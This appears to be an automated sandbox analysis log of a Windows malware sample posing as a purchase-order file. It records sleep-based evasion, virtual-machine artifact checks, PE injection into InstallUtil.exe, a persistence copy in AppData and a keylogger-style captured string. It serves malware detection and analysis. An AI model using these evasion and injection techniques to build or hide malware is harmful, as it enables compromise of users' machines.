Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Window / User API: threadDelayed 1169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3325	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6497	Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99760s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99654s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99212s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -99082s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98590s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98243s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -98021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -97859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe TID: 7316	Thread sleep time: -97725s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42796	Thread sleep count: 3325 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42796	Thread sleep count: 6497 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99763s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99434s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -99100s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98106s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -97891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -97672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -97563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199374s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1199047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198936s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198824s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198717s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198499s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198161s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1198035s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1197883s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1197781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1197653s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1197531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1197390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1196958s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1196765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1195000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194764s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194644s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194294s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 42792	Thread sleep time: -1194186s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe TID: 42992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe TID: 42332	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99760	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99654	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99326	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99212	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 99082	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98702	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98590	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98374	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98243	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 98021	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 97859	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Thread delayed: delay time: 97725	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99763	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99434	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99100	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98106	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1199047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198717	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198161	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198035	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197883	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1196958	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1196765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1195000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194644	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194402	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194294	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1194186	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: POs#U034fx#U034fl#U034fx#U034f..exe, 00000000.00000002.2806657675.000001FD282A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EGXjhezUx6qTZIk%2FeV34TUP51FI1aYtaIoMU2mdV8y78JattDEm0N418KCQBUNvx%2Fr8TqW93XG%2BgxhfNClQupmsXpGb2iODlI9QdplA6aJNodrL8Ri7z56jyHI54wox6MucHQemUfpqAGkS%2FrvPJNM%2B%2Bq6CIHQmcmKfJ"}],"group":"cf-nel","max_age":604800}
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: InstallUtil.exe, 00000006.00000002.2585853476.0000000005B82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 7EE008	Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe			Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe			Jump to behavior

Source: InstallUtil.exe, 00000006.00000002.2582192043.00000000028DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $uq8<b>[ Program Manager]</b> (12/03/2024 02:39:43)<br>{Win}THzqd4
